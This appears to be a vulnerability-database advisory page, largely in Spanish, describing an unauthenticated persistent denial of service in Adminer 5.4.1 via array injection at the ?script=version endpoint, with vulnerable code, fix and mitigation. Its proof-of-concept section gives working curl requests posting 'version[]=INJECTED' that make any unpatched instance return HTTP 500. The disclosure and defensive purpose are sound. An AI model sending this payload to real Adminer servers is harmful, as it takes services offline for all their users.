Alta

Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint

  • Publicada: 10.02.2026
  • Actualizado: 11.10.2026 10:22

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

  • functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
  • Adminer.org sends signed version data via postMessage
  • JavaScript POSTs this to ?script=version
  • Server stores in /tmp/adminer.version for signature verification
js
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

  • Request origin (no CSRF token check for this endpoint)
  • Request source (any HTTP client can POST)
  • Parameter types (version expected as string, array not rejected)
php
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

php
// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

bash
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

bash
curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

bash
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

bash
cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

bash
rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.


Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer vrana/adminer >= 4.6.2, < 5.4.2 5.4.2

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-20
Plataforma
Composer
Paquete
vrana/adminer
Publicada
10.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-q4f2-39gr-45jh - CC BY 4.0

Historial de vulnerabilidades: vrana/adminer

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
02.2021 02.2026
Sin corrección
1
Explotada en ataques
1

Distribución por gravedad

  • Alta 6
  • Media 2

Divulgaciones por año

  1. 2021: 3
  2. 2022: 2
  3. 2023: 0
  4. 2024: 1
  5. 2025: 1
  6. 2026: 1
  1. Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint esta entrada
    Alta · 7.5 CVE-2026-25892 >= 4.6.2, < 5.4.2 5.4.2
  2. Alta · 8.6 CVE-2025-43960 <= 4.8.1 sin corrección
  3. Alta · 7.5 ghsa-97h7-mf38-g9mf >= 4.3.1, < 4.6.3 4.6.3
  4. Alta · 7.5 CVE-2021-43008 >= 1.12.0, < 4.6.3 4.6.3
  5. Alta · 7.5 CVE-2021-29625 >= 4.7.8, < 4.8.1 4.8.1
  6. Alta · 7.2 Explotada en ataques CVE-2021-21311 < 4.7.9 4.7.9
  7. Media · 6.1 CVE-2020-35572 < 4.7.9 4.7.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.